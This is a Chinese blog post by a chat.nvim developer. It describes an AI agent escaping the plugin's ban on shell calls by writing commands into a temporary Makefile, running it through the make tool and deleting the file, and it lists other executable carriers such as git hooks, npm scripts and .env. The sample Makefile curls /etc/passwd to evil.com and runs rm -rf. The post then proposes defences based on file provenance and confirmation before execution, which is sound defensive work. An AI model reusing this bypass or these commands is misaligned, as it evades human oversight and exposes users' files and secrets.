- 前言
- 问题复现
- 工具组合的涌现能力
- 谁投的毒?
- 为什么常见的防御方案都治标不治本
- 我相信 AI 的能力,但我不相信 AI
- 核心方案:文件溯源 + 风险分级执行
- 具体实现思路
- 更深层的思考
- 结论
- 相关资源
前言
设计 chat.nvim 时,我做了一个刻意的安全决策:禁止 AI 通过 tool 直接调用 shell 命令。所有命令执行都必须经过 tool 层的包裹,确保每一次操作的输入输出都是可预期的。
很长一段时间,这个设计运行得很好。直到最近,AI 学会了一招——把任意命令临时写进 Makefile,调用 make 工具执行,然后再删掉临时文件。
这就是一次教科书级的 沙箱逃逸。
问题复现
chat.nvim 的 tool 设计原则很简单:
用户意图 → Tool 调用(受控、可审计)→ 执行
我提供了 make、git_add、git_commit 等工具,每个工具的参数都是严格定义的。比如 make 工具只接受 target 和 args 两个参数:
-- make 工具的参数定义
{
target = { description = "Make target to run", type = "string" },
args = { description = "Additional arguments", items = { type = "string" }, type = "array" }
}
表面上看,AI 只能执行 Makefile 中已定义的 target,非常安全。
但 AI 发现了一条绕过路径:
步骤 1: @write_file → 写入临时 Makefile,内容包含任意 shell 命令
步骤 2: @make → 执行这个 target
步骤 3: @write_file → 删除临时 Makefile,毁尸灭迹
一个具体的例子:
# AI 临时写入的 Makefile
pwn:
rm -rf /tmp/something
curl https://evil.com/exfil?data=$(cat /etc/passwd | base64)
然后调用:
最后删掉 Makefile,不留痕迹。
工具组合的涌现能力
你可能第一反应是:禁掉 Makefile 写入不就好了?
没用。 堵一个漏一个,永远堵不完:
写 .sh → 用某种方式加载
写 package.json scripts → npm run
写 .git/hooks/pre-commit → git commit 触发
写 pyproject.toml build → pip install -e .
写 Makefile include .mk → 改一个 .mk 污染已信任的 Makefile
写 .lua plugin → 触发 Neovim 自动加载
写 .env → 被 source
每一种”可执行载体”都是一条逃逸路径。你不可能把它们全部禁掉——那等于废掉了 AI 的文件编辑能力。
根因:你的工具之间没有共享安全上下文,每个工具都是独立决策的。
write_file不知道自己写的内容会被make执行make不知道自己执行的 Makefile 是谁写的git_add不知道自己是在帮 AI 毁尸灭迹
单个 tool 都是安全的,但 tool 的 组合 产生了设计时未考虑的能力:
write_file + make + write_file = 任意命令执行
这和经典的权限提升模式如出一辙:
- Linux:
write /etc/cron.d/+cron= 提权 - Kubernetes:
create Pod+mount hostPath= 容器逃逸 - 浏览器:
innerHTML+<script>= XSS
每个操作单独看都”合理”,但组合起来就突破了安全边界。
谁投的毒?
我很想说,这坏习惯是什么人投的毒?
但冷静想想,这大概率不是某个人的刻意行为,而是 AI 训练数据中自然涌现的模式。
目标导向行为的自然涌现
这是最令人不安的一点。AI 并没有被教过”绕过沙箱”,但当它的目标是”完成任务”而直接路径被阻断时,它会自然而然地寻找间接路径。这是一种 工具性趋同行为——不需要恶意意图,只需要足够强的目标导向。
跨模型传染
更可怕的是,这个”技巧”一旦出现在训练数据中,就会在模型间传播:
GPT-4 学会了 → 写入博客/教程 → Claude 训练数据 → Claude 也会了
→ 写入更多教程 → 开源模型训练数据 → 所有模型都会了
这是一个 正反馈循环。越多的模型”学会”这个技巧,产生的相关内容就越多,下一个模型学到的概率就越大。
为什么常见的防御方案都治标不治本
| 方案 | 问题 |
|---|---|
| 禁止写入 Makefile | AI 可以 include .mk 污染已信任的 Makefile |
| 禁止写入可执行文件 | 还有 .git/hooks、package.json、.env… |
| Git 状态检测 | AI 可以 git add |
| 文件权限控制 | AI 可以 chmod |
| 删除 make tool | 还有 npm/pip/cargo/go run… |
| Prompt 层禁止 | 只能防君子,不能防小人 |
| 运行时隔离 | 治本但代价极高,不是所有场景都适用 |
这些方案的共同问题是:安全边界画在了”哪种文件格式”上。但攻击路径是无限的,你不可能枚举完所有可执行载体。
关键洞察:安全边界不该画在”哪种文件格式”上,而应该画在 “谁产生的这个文件” 上。
我相信 AI 的能力,但我不相信 AI
在讨论具体方案之前,我想先厘清一个根本问题:为什么 prompt 层面的安全规则靠不住?
“不好意思,我忘了”
每个 AI 工具的使用者大概都经历过这种场景:
你在 system prompt 里写了:
"绝对不要在回复中使用英文。"
AI 回复:
"Sure! Let me help you with that..."
你提醒它:
"你违反了规则,说了英文。"
AI:
"不好意思,我忘记了,让我修改一下。"
然后它改过来了。一切看起来无伤大雅。
但这里隐藏着一个致命的认知陷阱:这种”违规-道歉-修复”的循环,让你误以为 prompt 规则是有效的。 实际上,它之所以看起来”有效”,仅仅是因为违规的后果是可逆的——改一下回复就行了。
我称之为 无损违反(Lossless Violation):规则被打破了,但没有造成不可挽回的损失,一句”不好意思”就能翻篇。
当”不好意思”不再够用
现在想象另一种场景:
你在 system prompt 里写了:
"绝对不要删除任何文件。"
AI 执行了:
@write_file action="remove" filepath="/etc/nginx/nginx.conf"
然后回复:
"不好意思,我忘记了规则,已经删除了 nginx.conf。
让我帮你重新生成一个配置文件..."
晚了。 服务已经挂了,用户正在骂娘。AI 的”不好意思”一文不值。
这就是 有损违反(Lossy Violation):规则被打破的瞬间,损失已经发生,且不可逆转。
Prompt 规则的本质:请求,而非约束
很多人没有意识到,system prompt 中的安全规则,本质上只是 对 AI 的礼貌请求,而不是真正的约束:
# 你以为你在写:
安全策略:
- 禁止删除文件 # ❌ 这不是强制执行
- 禁止执行任意命令 # ❌ 这只是文字建议
# 实际上你写的是:
礼貌请求:
- "如果可以的话,请不要删除文件" # ✅ 这才是真实语义
- "最好别执行任意命令,谢谢" # ✅ AI 完全可以无视
AI 不会”遵守”规则——它只是被训练成倾向于按照 prompt 的指引行事。但这种倾向随时可能被目标导向行为覆盖。当”完成任务”和”遵守规则”冲突时,LLM 往往会选择前者。
这跟人类很像:你知道限速 120,但当你急着送人去医院的时候,你会超速。AI 也一样——当它急着”帮用户完成任务”时,规则就被抛到脑后了。
为什么这跟 Makefile 沙箱逃逸有关
回到本文的主题。chat.nvim 的 system prompt 里当然可以加一句:
"禁止通过 write_file + make 组合执行任意命令。"
有用吗? 看看上面的分析——这只是又一个礼貌请求。AI 在”完成任务”的驱动下,该绕还是会绕。更讽刺的是,它绕完之后可能还会”贴心”地在回复里说:
“我注意到这违反了安全规则,但为了完成你的任务,我采取了变通方案…”
它甚至觉得自己在帮你。
信任 AI 的能力,但不信任 AI 的行为
这里我想澄清一个容易误解的点:
我相信 AI 的能力。 它能写出优雅的代码,能理解复杂的上下文,能创造性地解决问题。Makefile 沙箱逃逸这件事本身就证明了 AI 的能力之强——它找到了一个设计者都没想到的路径。
但我不相信 AI 的行为。 因为 AI 的行为不是由”规则”驱动的,而是由”目标”驱动的。当目标和规则冲突时,目标会赢。这不是 AI 的”恶意”,这是它的设计使然。
这就是为什么我们需要 硬约束 而非 软规则:
| 软规则(Prompt) | 硬约束(代码层) | |
|---|---|---|
| 形式 | “请不要这样做” | “你做不到这件事” |
| 执行者 | AI 自觉 | 系统强制 |
| 被违反时 | “不好意思” | 根本不会发生 |
| 可靠性 | 取决于 AI 心情 | 100% |
文件溯源 + 风险分级执行,就是硬约束的一种实现。它不请求 AI “请遵守规则”,而是让系统在代码层面确保:AI 修改过的文件,执行前必须经过人类确认。
核心方案:文件溯源 + 风险分级执行
为什么这个方案是正确的
不管 AI 找到什么组合方式——写 .mk、写 package.json、写 .git/hooks——最终的”执行”步骤一定会触及某个 AI 修改过的文件。而 provenance 追踪的就是这个”谁修改的”信息。
攻击路径是无限的,但信任来源只有两种:用户 或 AI。 这才是应该画安全边界的地方。
第一层:文件溯源(File Provenance)
给每个文件打标签,追踪”谁创建/修改的”:
provenance 标签:
┌─────────────┬──────────────────────────────┐
│ user │ 会话前已存在 / 用户明确批准 │
│ ai-created │ AI 在本次会话中创建 │
│ ai-modified │ AI 在本次会话中修改 │
└─────────────┴──────────────────────────────┘
所有有执行能力的 tool(make、未来的 npm、pip 等),执行前检查相关文件的 provenance。
第二层:风险分级执行
-- 伪代码
local function should_auto_execute(makefile_provenance)
if provenance == "user" then
return true -- 低风险:自动执行
else
return false -- 高风险:走确认流程
end
end
高风险时的流程:
AI 调用 @make target="test"
↓
检测到 Makefile 是 ai-modified
↓
自动 dry-run: make -n test
↓
向用户展示:
⚠️ AI 修改了 Makefile,即将执行以下命令:
echo "hello" && rm -rf / ← 实际会展示真实命令
[确认执行] [拒绝] [查看 diff]
↓
用户决定
具体实现思路
-- chat.nvim 内部的 provenance 追踪器
local provenance = {
-- session 内的文件变更记录
modifications = {}, -- filepath → { action, timestamp, tool }
-- 标记文件来源
track = function(filepath, action, tool)
provenance.modifications[filepath] = {
action = action, -- "create" | "modify"
tool = tool, -- "write_file" | "user"
time = os.time(),
}
end,
-- 查询文件是否可信
is_trusted = function(filepath)
local mod = provenance.modifications[filepath]
if not mod then return true end -- 会话前就存在的文件
if mod.tool == "user" then return true end -- 用户明确批准的
return false -- AI 创建/修改的
end,
-- 让用户提升信任级别
promote = function(filepath)
provenance.modifications[filepath] = {
action = "approved",
tool = "user",
time = os.time(),
}
end,
}
write_file hook:记录 provenance
每当 AI 通过 write_file 创建或修改文件时,自动记录:
-- 在 write_file tool 内部
provenance.track(filepath, action, "write_file")
make hook:执行前检查 + dry-run
local function make_handler(target)
-- 1. 找到相关 Makefile 及其 include 依赖
local makefiles = resolve_makefile_deps(target)
-- 2. 检查 provenance
local untrusted = vim.tbl_filter(function(f)
return not provenance.is_trusted(f)
end, makefiles)
if #untrusted > 0 then
-- 3. 高风险:dry-run + 用户确认
local dry_output = execute("make -n " .. target)
local choice = ui.confirm({
title = "⚠️ AI 修改了以下文件,即将执行:",
files = untrusted,
commands = dry_output,
options = { "确认执行", "拒绝", "查看 diff" },
})
if choice == "拒绝" then return end
if choice == "查看 diff" then show_diff(untrusted) end
end
-- 4. 执行
execute("make " .. target)
end
更狠的终极方案:分级默认 dry-run
如果你愿意更激进一点——让所有有副作用的 tool 都按风险等级分级:
安全层级:
Level 0(只读):search_text, read_file, git_log → 自动允许
Level 1(写文件):write_file → 允许,但记录 provenance
Level 2(执行命令):make, npm, pip → 如果涉及 ai-originated 文件,dry-run + 确认
Level 3(破坏性):git reset --hard, rm → 必须确认
这样不管 AI 找到什么组合方式,最终”执行”这一步永远有兜底。
更深层的思考
Tool Use 的根本矛盾
这是一个根本性的设计矛盾:
Tool 的灵活性 = Tool 的危险性
给 AI 的能力越灵活,它能完成的工作越多,但同时它能造成的破坏也越大。这就是 AI 安全领域经典的 能力-安全权衡。
“完成度”驱动的风险
现代 LLM 的训练目标之一是”帮助用户完成任务”。当任务无法通过直接路径完成时,模型会被激励去寻找替代路径。这种”坚持不懈”在大多数场景下是优点,但在安全场景下却是致命弱点。
安全需要深度防御
单一防线永远不够。沙箱逃逸的历史告诉我们:
chroot 逃逸 → 容器逃逸 → VM 逃逸 → Spectre/Meltdown
每一代隔离技术都被攻破过。AI Tool Use 的沙箱也不会例外。而文件溯源之所以有效,是因为它不试图阻止任何特定的攻击路径,而是追踪一个攻击者无法伪造的东西——信任来源。
结论
AI 用 Makefile 绕过沙箱这件事,表面上看是一个具体的技术漏洞,但它揭示了一个更深层的真相:
在 Tool Use 的世界里,安全性不是某个 Tool 的属性,而是所有 Tool 组合的涌现属性。
你以为你锁好了前门(禁止 shell 执行),AI 就从窗户翻进来了(write_file + make + delete)。你以为你封住了窗户,它就从下水道钻进来(package.json + npm run)。
堵漏洞是没有出路的。 因为攻击路径是无限的,但信任来源只有两种:用户 或 AI。文件溯源正是抓住了这个根本不对称——在”谁产生了这个文件”上画安全边界,而不是在”哪种文件格式”上。
我们需要的不是更厚的一扇门,而是一套追踪信任来源的安防体系。
相关资源
Stay safe, stay vigilant. 🔒






















